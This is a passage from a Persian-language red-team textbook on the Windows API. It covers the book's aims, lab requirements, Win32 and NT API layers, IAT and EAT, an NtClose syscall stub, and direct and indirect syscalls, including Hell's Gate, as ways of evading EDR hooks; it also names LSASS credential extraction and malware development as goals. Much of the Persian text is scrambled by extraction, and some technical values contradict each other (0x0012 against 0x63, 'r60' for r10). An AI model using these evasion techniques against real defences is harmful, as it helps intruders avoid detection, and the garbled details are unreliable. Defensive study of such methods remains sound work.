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 سندهیمقدمه نو
 .دیخوش آمد« قرمز میت یبرا ندوزیو APIبر توسعه  یامقدمه»کتاب  به

مقاومت  یابیو ارز یواقع داتیتهد یسازهیشب یقرمز برا یهامیت ،یبریسا تیامن دهیچیو پ ایپو یایدن در

 ندوز،یعامل و ستمیهدف هستند. قلب تپنده س یهاطیدرک ممکن از مح نیترقیعم ازمندین ها،ستمیس

 نی. تسلط بر استنهفته ا Windows APIهدف است، در  یهاپلتفرم نیتراز گسترده یکیکه همچنان 

 است. یتهاجم اتیدر عمل ییو کارا یبه قدرت، پنهانکار یابیدست دیکل ،یسینورابط برنامه

 WinAPIساده تعامل با  یشده است. ما از مبان یو عمل طراح یتئور نیپر کردن شکاف ب یکتاب برا نیا

 یکه هسته اصل میرویم شیپ یاشرفتهیپ یهاکیتکن یو گام به گام به سو میکنیشروع م Cدر ++

 یارکدست نندما یمیبا مفاه ی. شما به صورت عملدهندیم لیمدرن را تشک یتهاجم یاز ابزارها یاریبس

syscall ها، رفعhook  از توابعAPI میکد مستق یو اجرا ( در حافظهIn-Memory Executionآشنا خواه )دی 

 یارهاراهک دیاز د توانندیکه م دهدیرا م یو مخف یسفارش یتوسعه ابزارها ییدانش به شما توانا نیشد. ا

 .بمانند( پنهان Signature-based) یگذاربر نشانه یمبتن یتیامن

و  LSASSاطلاعات از پردازش  منیاز جمله استخراج ا یواقع یکاربرد یوهایبا سنار ر،یمس نیطول ا در

-User) یاربردک یهادور زدن هوک یبرا syscall یفراخوان میرمستقیو غ میمستق یهازمیاستفاده از مکان

land Hooksکاربر، بلکه به عنوان کیاست که شما نه تنها به عنوان  نیا ییشد. هدف نها دی( روبرو خواه 

 .دیبهره ببر یمؤثر و نامرئ یهااتیعمل یو اجرا یطراح یبرا ندوزیو یبوم یهاتیخالق، از قابل کی

 ،یامکان گردآور یهمکار نیشده است. ا هی( تهLLMمدل زبان بزرگ ) کی یکتاب با همکار نی: اتوجه

را فراهم کرده است.  یمنسجم و کاربرد یاوهیبه ش یحجم از اطلاعات تخصص نیو ارائه ا یساختاربند

 تیامن امعهج یو قابل اعتماد برا یعمل یراهنما کیو هدف آن ارائه  ینیمطالب با دقت بازب یتمام

 است. یبریسا

 شما در یهاییو توانا ندوزیو یشما باشد و درک شما از معمار یبرا یدکتاب منبع ارزشمن نیا دوارمیام

 را متحول کند. یتهاجم تیحوزه امن

 اق،یاشت با

 تیم سایبر شلف
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 در این کتاب چه میخوانیم
 تیامن هشرفتیقرمز و متخصصان پ میبه ت کتاب نی. ابازکنید یتهاجم تیامن یرا برا Windows API قدرت

 یو اجرا API از hook ها، رفعsyscall کاریدست ندوز،یو یساختار داخل ٔ  درزمینه یدانش عمل ،یبریسا

 .دهدیکد در حافظه ارائه م

مانند استخراج  یتهاجم اتیدر عمل یو تا موارد کاربرد واقع شودیآغاز م ++C تعامل با یاز مبان این کتاب

 یساز. هدف دوره آمادهابدییادامه م میرمستقیو غ میمستق یهاsyscall ، استفاده ازLSASS اطلاعات از

 .تاس یاتیعمل اتیعمل درو مؤثر  انهیصورت مخفبه ندوزیو یبوم یهاتیاز قابل یریگبهره یشما برا
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 فصل اول 

 خوش آمدگویی 
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 شگاهیآزما

 ندوزیو یتهاجم تیامن شگاهیآزما

ت، اس ایجادشدهدر مطالب  شدهداده شینما یهاکیو تکن ناتیاز تمر یبانیپشت یبرا شگاهیآزما نیا

 :ازجمله

 میرمستقیو غ میمستق یستمیس یهایفراخوان 

 کدشل یاجرا 

  آنهوک کردنAPI 

  ًمثلا( استخراج حافظهLSASS) 

 یهاحلراه هیعل شدهاستفاده صیفرار از تشخ یهاکیتکن EDR 

 شگاهیآزما درباره

 قرمز و میت ندوز،یو یهایبا داخل شیو آزما یریادگی یشده برا میتنظشیصورت پبه یمجاز نیماش

ردن دنبال ک یلازم برا ماتیو تنظ لرهایشامل ابزارها، کامپا طیمح نیتوسعه بدافزار است. ا یهاکیتکن

 .هست ناتیتمر

 است. شدهطراحی شدهکنترلامن و  یطیدر مح یاهداف آموزش یفقط برا شگاهیآزما نیا

 هایازمندین

 :دیدار ازین ریشما به موارد ز شگاه،یموفق آزما یاجرا یبرا

  (شودیم هیتوص تیگابایگ 16حافظه رم ) تیگابایگ 8حداقل 

 VMware Workstation Pro (ای Player اما نسخه ،Pro یبردارعکس ازجملهامکانات بهتر  یبرا 

 (شودیم هیتوص ایزوله سازیو 

آن را از  ینسخه آموزش ای یشینسخه آزما دیتوانیم د،یرا ندار VMware Workstation Proهنوز  اگر

 .دیدانلود کن VMware یرسم تیساوب
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 مقدمه -قرمز  میت یبرا ندوزیو یسینوبرنامه رابط

 .آمدیدخوشمقدمه  -قرمز  میت یبرا ندوزیو یسینودوره رابط برنامه به

 است شدهطراحیدهندگان بدافزار قرمز و توسعه میت یاعضا ،یتهاجم تیمتخصصان امن یدوره برا نیا

 — هسته حالت در هم و کاربر حالت در هم — نییرا در سطح پا ندوزیو عاملستمیس خواهندیکه م

 کنند. کاریدست و کرده درک

 آموخت: دیخواه آنچه

 یداخل اتیساختار و جزئ APIیها Win32  وNT 

 قرمز با استفاده از  میت ینحوه توسعه ابزارهاC++ یو اسمبل 

 یبازنگر ،سیستم کال یها)آنهوک کردن، استاب صیفرار از تشخ شرفتهیپ یهاکیتکن 

NTDLL) 

 ندوزیهسته و هیپا یورهاینحوه توسعه و تعامل با درا 

 یکارتمرکز بر پنهان یهاکیبا تکن یدر حملات واقع یموارد استفاده عمل 

 شدهاستفاده یواقع یهاکیو ارجاعات به ابزارها و تکن یکاربرد یکدها ،یعمل یهامطالب با مثال تمام

 .شودیارائه م یتیو پژوهشگران امن شرفتهیپ دیتهد گرانیتوسط باز

 :یشنهادیپ یازهاینشیپ

 از زبان  یاهیدانش پاC ای C++ 

 با  11 ای 10 ندوزیو طیمحVisual Studio 

 ازاتیحافظه، امتها، : پردازشعاملستمیس میدرک مفاه 

 یبا اسمبل یی: آشنایاریاخت x86/x64 ندوزیو یهایو داخل 
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 دومفصل 

 ندوزیو APIبر  یامقدمه
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  Windows APIمفهوم 

Windows API ست؟یچ 

Windows API (ای WinAPIمجموعه )ها تا برنامه اندشدهارائه کروسافتیاست که توسط ما یاز توابع یا

که در حالت کاربر اجرا  ییهاها به برنامهAPI نیتعامل داشته باشند. ا ندوزیو عاملستمیبتوانند با س

را  یتیامن یآنکه مرزها نداشته باشند، بدو یسطح کرنل دسترس یهایژگیبه و دهندیاجازه م شوندیم

 نقض کنند.

 اند از:عبارت Windows API یاصل اهداف

 ( انتزاعAbstractionدسترس )ستمیس ای افزاربه سخت میمستق ی 

 هابرنامه یبرا یستمیفراهم کردن خدمات س 

 ندوزیمختلف و یهانسخه نیب یحفظ سازگار 

 ل،یفا ستمیس ،یکیمختلف مانند رابط گراف یاجزا یبرا کسانی یسینوبرنامه یهاارائه رابط 

 رهیها و غحافظه، نخ

 وجود دارد: یاصل یبنددسته دو

 APIیها ( حالت کاربرUser-Mode شامل :)مانند  ییهالیتوابع موجود در فاkernel32.dll ،

user32.dll ،advapi32.dll رهیو غ 

 APIیبوم یها (Native API ای NT APIتماس :)که در  یداخل یستمیس یهاntdll.dll  وجود

 شوندی* شناخته مZw* و Nt صورتبهدارند و 

 (User Mode vs Kernel Modeکاربر در مقابل حالت کرنل ) حالت
User Mode Kernel Mode 

 (Ring 0) شودیاجرا م یسطح دسترس نیبا بالاتر شودیمحدود اجرا م یسطح دسترس با

اشته د یافزار دسترسبه سخت ماً یمستق تواندینم
 باشد

 افزار داردکامل به سخت یدسترس

 شودیم BSODدر صورت کرش، باعث  اندازدیرا از کار نم ستمیصورت کرش، س در

 یسازادهیرا پ NtCreateFileمثل  ییهاAPI کندیاستفاده م CreateFileمثل  ییهاAPI از
 کندیم

 یرو EDR یاز راهکارها یاریبس رایاست، ز یاتیح اریبس یجداساز نی، درک اRed Teamحوزه  در

 .ntdll.dll لیدر فا ژهیوحالت کاربر تمرکز دارند، به یهاهوک
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 Syscallو  API: Win23 ،NT یهاهیلا
Win32 API )سطح بالا( 

 دهندگان آشناستتوسعه یبرا شتریب 

 مانند  یتوابعCreateFileW ،OpenProcess ،VirtualAllocEx 

 مانند  ییهالیدر فاkernel32.dll ،user32.dll وجود دارند 

NT API (نیی)سطح پا 

  درntdll.dll وجود دارند 

 شوندیبا پ Nt ای Zw  ًمثلا(NtOpenProcess) 

 یبرا میمستق یرپرها syscallها هستند 

 کارانه، مخصوصاً در عبور از پنهان اتیعمل یبراEDRشوندیها استفاده م 

Syscalls 
 نیب نییرابط سطح پا ntdll.dll و کرنل 

  درx64  با دستورsyscall در ،x86 با  یمیقدint 0x2e 

  هرsyscall کی System Service Number (SSN)  ًدارد، مثلاNtOpenProcess = 0x36 

 یکد فراخوانشل ای( inline assemblyتوکار ) یبا استفاده از اسمبل یصورت دسترا به syscall دیتوانیم

 کاربرد دارد. syscallاز  میفرار مستق یهاکیروش در تکن نی. ادیکن

Nt ،Zw کرنل یداخل یشوندهایو پ 

خص که مش کنندیاستفاده م ییشوندهایاز پ نییاز توابع سطح پا یاریبس ندوز،یو یساختار داخل در

 یدستوسعه در سطح کرنل، مهن یبرا شوندهایپ نیکرنل است. ا ستمیرسیتابع متعلق به کدام ز کندیم

 یستد ساخت ای ورهایدرا لیکه در حال تحل یهستند، مخصوصاً زمان یاتیح یتیامن قاتیتحق ایمعکوس 

stubs یبرا syscall دیسته. 

از حالت کرنل  ماًیمستق هاآناز  ی. برخشوندیارائه م ندوزیکرنل و یهاتوابع معمولاً در ماژول نیا

 یفراخوان ntdll.dll قیاز حالت کاربر و از طر میرمستقیصورت غبه گرید یهستند و برخ دسترسیقابل

 .شوندیم

 هاآن یو معان یکرنل یشوندهایپ

 کاربرد نمونه تابع یکامپوننت کرنل دشونیپ
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Cm یکربندیپ تیریمد 
(Configuration 

Manager) 

CmRegisterCallbackEx هابکو ثبت کال یستریتعامل با رج 

Ex ییاجرا هیلا 
(Executive Layer) 

ExAllocatePool صیهسته مانند تخص یتوابع کمک 

 یسازحافظه و همگام

Hal انتزاع  هیلا
 افزارسخت

HalGetAdapter و  عاملستمیس نیواسط ب هیلا
 افزارسخت

Io ریمد I/O IoAllocateIrp ها و دستگاه ی/خروجیورود تیریمد

 IRP یهابسته

Ke هسته کرنل KeSetEvent هاتیو اولو عیها، وقانخ تیریتوابع مد 

Mm حافظه ریمد MmUnlockPages یبندصفحه ،یحافظه مجاز تیریمد 

 یکیزیو ف

Ob اءیاش ریمد ObReferenceObject مانند  یکرنل یایاش تیریمد
Handleهاها، پردازه 

Po توان  ریمد(Power 

Manager) 

PoSetPowerState توان )خواب،  یهاتیوضع تیریمد

Hibernate )...و 

Tm تراکنش ریمد TmCommitTransaction یکرنل یهااز تراکنش یبانیپشت 

Nt API رابط  یبوم(

 حالت کاربر(

NtCreateFile  درntdll.dllخدمات  یفراخوان ی، برا

 از حالت کاربر ستمیس

Zw API در حالت  یبوم
 کرنل

ZwCreateFile یبرخ شود؛یدر کرنل استفاده م 
 زندیرا دور م یتیامن یهایبررس

 Zwو  Nt نیب یدیکل تفاوت

 *Zwتابع  *Nt تابع

 شودیاستفاده مدر حالت کرنل  شودیحالت کاربر استفاده م از

ً یمستق  syscallرا با  ستمیخدمات س ما

 کندیم یفراخوان

ممکن است  یول کندیم یهمان خدمات را فراخوان

 را دور بزند هایبررس یبرخ

 چاندیبپ ایدهد  رییرا تغ یبازگشت ریممکن است مقاد گرداندیخام را برم NTSTATUS یکدها

کرنل( رفتار  ای)کاربر  CPUبسته به حالت  یول کنند،یآدرس حافظه اشاره م کیدو به  نیا اغلب: توجه

 دارند. یمتفاوت

 هاAPIدر استفاده از  یدیکل DLL یهالیفا
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DLL نقش 

Kernel32.dll APIیسطح بالا یها Win32 حافظه،  ل،ی)فا

 ها(نخ

ntdll.dll API یبوم  /stubs یبرا syscall 

User32.dll هاپنجره ،یورود ،یکیرابط گراف 

Advapi32.dll یها، رمزنگارتوکن ها،سیسرو ،یستریرج 

Gdi32.dll یکیرابط گراف (Graphics Device Interface) 

 کیبازگرداندن آن  ایعبور از آن  نیبنابرا کنند،یرا هوک م ntdll.dll لیفا EDR یهاحلراه اکثر: نکته

 است. Red Teamدر  جیراهبرد را

 خلاصه

 Windows APIهستند عاملستمیها و سبرنامه نیب یها پل ارتباط 

 نیدرک تفاوت ب Win32 API  وNative API مهم است اریبس یکارپنهان یبرا 

 نییسطح پا یقرمز از دسترس یهامیت (ntdll ،syscall stubsبرا )استفاده  صیفرار از تشخ ی

 کنندیم

  توابعNtدارند یدسترس ماً یکرنل مستق یایبه اش و دهندیارائه م یترقی* کنترل دق 

 را با استفاده از  هاهیلا نیا ،یبعد یهادر ماژولsyscall stub هش کردن  ،یدستAPI  و

remapping کرد میخواه یبررس 
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 2شماره  Windows APIمفهوم 

IAT ست؟یچ 

 یهالی( در فاruntimeدر زمان اجرا ) ی( ساختارIAT - Import Address Tableآدرس واردات ) جدول

PE  از  واردشدهاست که آدرس توابعDLLکندیم رهیرا ذخ یخارج یها. 

 ماً یمستق کند،یم یرا فراخوان CreateFileW ای MessageBoxAمثل  یخارج یهاAPIبرنامه  کیکه  یزمان

 است. شدهذخیره IATکه در  کندیم یرا فراخوان یبلکه آدرس کند،یاشاره نم DLLبه تابع موجود در 

 Windowsتوابع توسط  یواقع یها: آدرسسازدی( را ممکن مdynamic linking) ایپو وندیپ زم،یمکان نیا

Loader شوندیهنگام شروع برنامه پر م. 

Loader ستیل ( وارداتImport Tableرا مرور م )توابع مربوطه را در  کند،یDLLمثل  ییهاkernel32.dll 

 .کندیتوابع پر م یرا با آدرس واقع IAT یهاو خانه کندیم دایپ user32.dllو 

 نهمی به —کند  تیرا به توابع دلخواه خود هدا هایآن فراخوان تواندیکند، م hookرا  IAT یکس اگر

 است. APIکردن  hook یهاورکمیو فر باگرهایدر بدافزارها، د یجیهدف را IAT ل،یدل

EAT ست؟یچ 

در  ی( براEXE) ییاجرا لیفا ای DLL کی( توسط EAT - Export Address Tableآدرس صادرات ) جدول

 .شودیاستفاده م یخارج صورتبهنمادها  ایدسترس قرار دادن توابع 

EAT معمولاً  کیکه  شودیرا شامل م یاز تمام توابع یفهرست( ماژولDLLم )استفاده توسط  یبرا خواهدی

 بیشماره ترت ایتوابع را بر اساس نام  نیا توانندیم گرید یهابگذارد. برنامه اریها در اختبرنامه گرید

(ordinalفراخوان )کنند. ی 

استفاده کند  ()GetProcAddressاز تابع  تواندیم کند،یم یرا بارگذار DLL نیا گریبرنامه د کیکه  یزمان

 را حل کند. EATشده در صورت خودکار آدرس توابع اعلامبه loaderاجازه دهد  ای

 .دهندیها ارائه ممجدد را به برنامه استفادهقابل یهاتیها قابلDLLاست که  یهمان روش نیا
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 EATو  IAT یفن سهیمقا

 )جدول آدرس صادرات( EAT )جدول آدرس واردات( IAT یژگیو

 یحل آدرس توابع خارج هدف
 برنامه مورداستفاده

 DLLدر دسترس قرار دادن توابع 
 گرید یهاماژول یبرا

که توابع  ییهاEXE ایها برنامه کند؟یاستفاده م یکس چه
 کنندیرا وارد م

DLL ایها EXEکه توابع را صادر  ییها
 کنندیم

را  DLL گرید ندیفرآ کیکه  یزمان برنامه یهنگام بارگذار استفاده زمان
 کندیم ایپو یبارگذار ایوارد 

 رییآن را تغ یکس چه
 دهد؟یم

Windows Loader  در زمان
 یها براhook ای ؛یبارگذار

 گیریره

در زمان  DLL سندهیتوسط نو
 شودیم نییتع لیکامپا

 یبرا) رتغیی قابل — ینوشتن ؟ی/نوشتنیخواندن
IAT hooking) 

 قیاما از طر ،یمعمولاً فقط خواندن
GetProcAddress دسترسیقابل 

 است

، APIکردن  hook یاغلب برا یتیامن تیاهم

patch  ،رییتغ ایکردن توابع 
 شودیاستفاده م ریمس

جدول  ینیگزیجا ای DLL یدر پروکس

تابع استفاده  قیتزر یصادرات برا
 شودیم

 ایبه حافظه  میبا اشاره مستق یدسترس روش

 loader قیاز طر

 ای GetProcAddress قیاز طر
ordinal 

 edata.بخش  idata.بخش  PEدر  رهیذخ مکان

 

 یواقع یایدر دن کاربرد

 شما در کد خود تابع  یوقتMessageBoxA یورود کی نکری/للریکامپا د،یکنیم یرا فراخوان 

 که به آن تابع اشاره دارد. کندیم جادیا IATدر 

  ،در زمان اجراloader یآن ورود IAT تابع  یرا با آدرس واقعMessageBoxA  درuser32.dll 

 .DLLموجود در همان  EATبا استفاده از  کند،یپر م

  یمهاجم ورود کیاگر IAT  رییتابع دلخواه تغ کیرا به ( دهدIAT hooking کد شما هنوز ،)

 آدرس تحت کنترل مهاجم است. نیحالا ا ولی — کندیم یهمان آدرس را فراخوان
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 یتیامن ملاحظات

 IAT hooking در  جیرا یهاکیاز تکن یکیRed Team  و بدافزارهاست، چون به مهاجم اجازه

 کند. تی( را به کد مخرب هداReadFileمشروع )مثل  یهاتابع یهایفراخوان دهدیم

 Patch  کردنEAT ینیگزیجا ای DLL توابع دلخواه در  قیتزر یبرا تواندیمشابه م یبا پروکس

با  DLL کی یبارگذار ایجدول صادرات  رییبا تغ رد،یقرار گ مورداستفاده یبارگذار رهیزنج

 مشابه. یامضاها

 خلاصه

 IAT را از  یکه توابع خارج شودیاستفاده م ییها= توسط برنامهDLLکنندیم یها فراخوان. 

 EAT  توسط =DLLشودیها استفاده مبرنامه گریقرار دادن توابعشان به د اریدر اخت یها برا. 

 IAT  بهEAT کند. نییوابسته است تا آدرس توابع را تع یخارج یهاماژول 

 ایپو وندیاز پ یهر دو بخش مهم (dynamic linkingدر و )یجیهستند و هر دو هدف را ندوزی 

 .شوندیقرمز محسوب م میت اتیبدافزار و عمل لیتحل یبرا
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 Syscall میمفاه

Syscall ست؟یچ 

 فیتعر

System Call (ای Syscallمکان )کیاست که به  یزمی ( برنامه در حالت کاربرUser Modeاجازه م )دهدی 

 ( درخواست بدهد.Kernel Modeدر حالت کرنل ) عاملستمیتا از خدمات س

افزار سخت ایبالا  یسطح دسترس یبه حافظه دارا ماً یمستق توانندیحالت کاربر نم یندهایفرآ کهازآنجایی

 هستند، مانند: syscall یمجبور به فراخوانکارها  یانجام برخ یبرا هاآنداشته باشند،  یدسترس

 حافظه صیتخص 

 لیباز کردن فا 

 ندیفرآ جادیا (Process )ای ( نخThread) 

 ندوزیو یستریبه رج یدسترس 

 مانند: شوند،یشروع م Zw ای Nt شوندیمعمولاً با پ syscallتوابع  ندوز،یو در

 NtAllocateVirtualMemory 
 NtReadVirtualMemory 
 NtCreateThreadEx 
 ZwCreateFile 

 از حالت کاربر به حالت کرنل انتقال

Syscallنیب یاعنوان دروازهها به Ring 3 (User Mode)  وRing 0 (Kernel Mode) در .کنندیعمل م 

 است. syscallانتقال،  نیا یبرا مورداستفاده، دستور x64 ندوزیمدرن و یهاستمیس

Syscall Stub ست؟یچ 

 فیتعر

Syscall Stub لفای داخل معمولاً —تابع کوچک است  کی ntdll.dll — کندیرا آماده م سترهارجی که 

 .کندیرا اجرا م syscallو دستور 

 .سازدیکه گذر از حالت کاربر به کرنل را ممکن م کندی( عمل مwrapper) یبندبسته کیمانند  stub نیا

 هدف

 شماره  یبارگذارsyscall (SSN) ستریدر رج EAX 

 آرگومان از  نیانتقال اولRCX  بهR10 
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 دستور  یاجراsyscall ورود به حالت کرنل یبرا 

 صیتشخ ی(، که برایینقاط انتها ییشناسا یها هستند )راهکارهاEDRشدن توسط  hookها قابل Stub نیا

 .کنندیم patch ای توریتوابع را مان نیمخرب، ا ایمشکوک  یهاتیفعال

 Syscall Stub کی یکالبدشکاف

 آورده شده است: x64 ندوزیدر و NtCloseتابع  stubنمونه اسمبل شده از  کی نجایا در

mov eax, 0x0012 ; SSN (System Service Number) for 

NtClose 
mov r10, rcx ; Windows syscall convention: RCX → R10 
syscall ; Transition to kernel-mode 
ret ; Return to caller  

 :مرحلهبهمرحله حیتوض

1. mov eax, 0x۶3: 
 ستمیشماره خدمات س (SSNرا بارگذار )کندیم ی. 

 تابع مناسب در جدول  ییشناسا یشماره برا نیکرنل از اSSDT کندیاستفاده م. 

2. mov r۶0, rcx: 

  طبق قراردادsyscall ندوزیدر و x64ستریدر رج دیآرگومان با نی، اول R10 نه  رد،یقرار بگRCX. 

 با دستور  یسازگار یانتقال برا نیاsyscall است. یضرور 

3. syscall: 
 عیدستور سر کی CPU  است که ازRing 3  بهRing 0 کندیم چیسوئ. 

 خاص مدل مانند  یسترهایاز رجIA32_LSTAR مشخص کردن نقطه ورود در کرنل  یبرا

 .شودیاستفاده م

4. ret: 

 شودیدستور باعث بازگشت به کد کاربر م نیتابع کرنل، ا یپس از اجرا. 

SSN ست؟یچ (System Service Number) 

 فیتعر

SSN فرد است که به هر بهمنحصر حیعدد صح کیsyscall عدد به کرنل  نیا .شودیاختصاص داده م

 اجرا کند. System Service Dispatch Table (SSDT)کدام تابع را از  دیکه با دیگویم

 :مثال
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  ندوز،ینسخه از و کیدر NtAllocateVirtualMemory  ممکن استSSN  0برابر باx18  داشته

 باشد

 0همان تابع ممکن است  گر،ید یادر نسخه یولx1A باشد 

ها syscall یدست یسازادهیموضوع در زمان پ نای —وابسته هستند  ندوزیها به نسخه وSSN نیبنابرا 

 مهم و حساس است. اریبس

 خلاصه

 Syscall یهااست که به برنامه یابزار User Mode رندیاز کرنل خدمات بگ دهدیاجازه م. 

 Syscall Stub کوچک در  یکدntdll.dll کرده و دستور  میرا تنظ سترهایاست که رجsyscall 

 .کندیرا اجرا م

 EDRنیها اغلب ا stubمخرب  یهاتیفعال ییشناسا یها را براhook کنندیم. 

 SSN (System Service Number) را از  موردنظراست که کرنل با آن تابع  یاشمارهSSDT دایپ 

 .کندیم

 SSNموضوع هنگام نوشتن  نای —اند متفاوت ندوزیمختلف و یهانسخه نیها بsyscall یدست 

 در نظر گرفته شود. دیبا
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 میرمستقیو غ میمستق Syscall میمفاه 

 ندوزیها در وSyscall درک

حالت کاربر اجازه  یهااست که به برنامه یزمی( مکانsyscall ای) System Call ندوز،یو عاملستمیس در

 مانند یاتیعمل یانتقال از حالت کاربر به حالت کرنل برا نیا از خدمات کرنل درخواست بدهند. دهدیم

 است. یضرور ندهایحافظه و کنترل فرآ تیریمد ها،لیبه فا یدسترس

 نی. اکنندیم یفراخوان kernel32.dllمانند  ییهاDLLرا از  API یها ابتدا توابع سطح بالابرنامه معمولاً 

API خود توابع  نوبهبههاNative API  را درntdll.dll مانند: زنند،یصدا م 

NtAllocateVirtualMemory      

 یدکلی دستور همان — هست syscallدستور  یهستند که حاو syscall stubشامل  Native API توابع

 .دهدیکه انتقال به حالت کرنل را انجام م

قبل از  SSN نی. اشودیم ییفرد شناسامنحصربه System Service Number (SSN) کیبا  syscall هر

 سیکدام سرو کندیو کرنل با استفاده از آن مشخص م رد،یگیقرار م EAX ستریدر رج syscall یاجرا

 اجرا شود. دیبا

Direct Syscalls 
Syscall ست؟یچ میمستق 

Syscall استاندارد  یهاهیدور زدن لا یبه معنا میمستقAPI دستور  میمستق یو اجراsyscall قیاز طر 

، برنامه ntdll.dllدر  یاستفاده از تابع جایبهروش  نیا در نوشته است. سینواست که خود برنامه یکد

 .هستخود  موردنظر SSNبا  یاختصاص syscall stub کیشامل 

 شود؟یاستفاده م میمستق Syscallاز  چرا

را در حالت کاربر  APIاغلب توابع  EDR (Endpoint Detection and Response)مانند  یتیامن یراهکارها

hook استفاده از  با کنند. گیریرهمشکوک را  یهاتیتا فعال کنندیمsyscall توانندیمهاجمان م م،یمستق 

 .ستین یاند متکشده hookکه  ییهاAPIبه  هاآنها عبور کنند، چون کد hook نیاز ا

 یسازادهیپ اتیجزئ

 است: ریمعمولاً شامل مراحل ز میمستق syscall کی

 EAX ستریدر رج SSNقرار دادن  .1

 syscall یپارامترها یو ...( برا RCX ،RDXمناسب )مثل  یسترهایرج میتنظ .2
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 syscall stubsنوع  نیا دیتول یبرا SysWhispersمانند  ییابزارها) syscallدستور  یاجرا .3

 (.شوندیاستفاده م

خطرناک  هاآنکردن  hardcodeاند، متفاوت ندوزیمختلف و یهانسخه نیها بSSN کهازآنجایی حالبااین

 است.

و  ایصورت پورا به SSN یکه شماره دهندیامکان را م نیا Halo’s Gateو  Hell’s Gateمثل  ییهاکیتکن

ته داش یشتریب یکاریبرنامه سازگارتر باشد و مخف شودیکار باعث م نیا د؛یآور به دستدر زمان اجرا 

 باشد.

 هاتیمحدود

 دارد: یرمعمولیغ یرفتار یالگوها یحالت کاربر را دور بزند، ول یهاhook تواندیم میمستق syscall اگرچه

  دستورsyscall  خارج ازntdll.dll یعیرطبیغ رفتاری — شودیاجرا م 

  آدرس بازگشت پس ازsyscall اشاره دارد غیراستاندارد یابه حافظه 

 ییهستند، شناسا ییهاانحراف نیچن به دنبالکه  شرفتهیپ یهاEDRممکن است توسط  رفتارها نیا

 شوند.

Indirect Syscalls 
Syscall ست؟یچ میرمستقیغ 

Syscall یایمزا کندیم یسع میرمستقیغ syscall رفتار برنامه را  حالدرعین یرا حفظ کند، ول میمستق

 تر جلوه دهد.و مشروع تریعیطب

پرش  ntdll.dllموجود در داخل  syscall، به دستور syscall میمستق یاجرا جایبهروش، برنامه  نیا در

(jumpم )کندی. 

 شود؟یاستفاده م میرمستقیغ Syscallاز  چرا

 :ntdll.dllدرون  syscallدستور  یاجرا با

  ازhookچون مستق شودیم یحالت کاربر دور یها(ماًی API کندینم یرا فراخوان) 

 stack یفراخوان (call stackطب )ابدییکاهش م ییشناسا سکری — رسدیبه نظر م تریعی 

 یسازادهیپ اتیجزئ

 برنامه: م،یرمستقیغ syscall کی در
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 کندیم دایرا پ ntdll.dllدر  موردنظرآدرس تابع  .1

 کندیداخل آن تابع را محاسبه م syscallآفست مربوط به دستور  .2

 کندیم یلازم مقدارده یرا با پارامترها سترهایرج .3

 کندیپرش م ntdll.dllدر  syscallبه دستور  .4

 یعطبی رفتار با که —انجام شود  ntdll.dllو هم بازگشت از آن درون  syscallهم  شودیروش باعث م نیا

 راستاست.هم ندوزیو

 هاتیمحدود

 پنهان کارانه تر میمستق هایسیستم کال( از Indirect Syscalls) میرمستقیغ هایسیستم کالاگرچه 

 یکه کل پشته ییهاشوند؛ مخصوصاً آن ییها شناساEDRهستند، اما همچنان ممکن است توسط 

( Control Flowبرنامه ) یاجرا انیدر جر یرعادیغ یالگوها ای کنندیم لی( را تحلCall Stack) یفراخوان

 نظر دارند. ریرا ز

 EDRدر عبور از  ملاحظات

 یهاستمی)س EDRتوسط  ییفرار از شناسا یبرا ییهاکیتکن م،یرمستقیو غ میمستق syscallهر دو روش 

 ( هستند:یانیو پاسخ در نقطه پا صیتشخ

    Syscall میمستق: 

  با دور زدنhookتوسط  یابیحالت کاربر، از رد یهاEDRکندیم یریها جلوگ. 

 ی)مثل اجرا رمعمولیغ ییاجرا یالگوها لیاما به دل syscall  خارج ازntdll.dll آدرس  ای

 ( شود.flag) یگذارعلامت شرفتهیپ یهاEDRبازگشت مشکوک(، ممکن است توسط 

    Syscall میرمستقیغ: 

 پنهان کارانه تر یکردیرو (stealthier ،دارد )مورد انتظار  یاجرا انیآن با جر یاجرا چراکه

 (.ntdll.dllمطابقت دارد )درون  ستمیس

 حالبااین ،EDRلیتحل ییکه توانا شرفتهیپ یها stackاز حالت  نگیتوریمان ای یفراخوان یها

 کنند. ییروش را شناسا نیکرنل را دارند، همچنان ممکن است ا

 ،ییایپو نای — دهندیم قیخود را تطب یهاروش زی، مهاجمان نEDR یهایمداوم فناور شرفتپی با

 منابعاست. یبریسا تیامن یدر حوزه یدائم زیو گر بیتعق تیماه یدهندهنشان

RedOps: Direct Syscalls vs Indirect Syscalls 
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 https://redops.at/en/blog/direct-syscalls-vs-

indirect-syscalls 

RedOps: Exploring Hell's Gate 

 https://redops.at/en/blog/exploring-hells-gate 

 Alice Climent-Pommeret: A Syscall Journey in the Windows Kernel 

 https://alice.climent-pommeret.red/posts/a-

syscall-journey-in-the-windows-kernel/ 

MDSEC: Resolving System Service Numbers using the Exception Directory 

 https://www.mdsec.co.uk/2022202/resolving-system-

service-numbers-using-the-exception-directory/ 

 https://redops.at/en/blog/exploring-hells-gate 

 https://alice.climent-pommeret.red/posts/a-

syscall-journey-in-the-windows-kernel/ 

 https://www.mdsec.co.uk/2022202/resolving-system-

service-numbers-using-the-exception-directory 
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https://www.mdsec.co.uk/2022/04/resolving-system-service-numbers-using-the-exception-directory
https://www.mdsec.co.uk/2022/04/resolving-system-service-numbers-using-the-exception-directory
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 سومفصل 

کار با رابط  یبرا ++C یمبان 

 ندوزیو یسینوبرنامه
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 ++Cبر زبان  یامقدمه

C++ توسط  1980دهه  لیمنظوره است که در اواو همه عیقدرتمند، سر یسینوزبان برنامه کیBjarne 

Stroustrup از زبان  یعنوان گسترشبهC  به  نییسطح پا یدسترس تیزبان هم قابل نی. اافتیتوسعه

 یختی( و چندرTemplatesها )ها، قالباسسطح بالا مثل کل یو هم امکانات انتزاع کندیحافظه را فراهم م

(Polymorphismرا ارائه م )باعث شده که  هایژگیو نی. ادهدیC++ ستمیدر سطح س یسینوبرنامه یبرا 

 مناسب باشد. اریبزرگ بس یافزارهاو توسعه نرم

 م؟یریبگ ادی ++C دیبا چرا

 تیریمد ازجمله یمیمفاه کند؛یفراهم م وتریعلوم کامپ میمحکم در مفاه یاهیپا ++Cزبان  یریادگی

 .هاتمیالگور یی(، و کاراOOP) ءگراشی یسینوحافظه، برنامه

C++ هفته ن یهاستمیس ،یدسکتاپ یهابرنامه ،یسازیباز یمانند موتورها ییهادر حوزه یاطور گستردهبه

(Embeddedس ،)ردیگیقرار م مورداستفاده یتیامن یو ابزارها هاعاملستمی. 

 است؟ ایده آل Windows API یسینوبرنامه یبرا ++C چرا

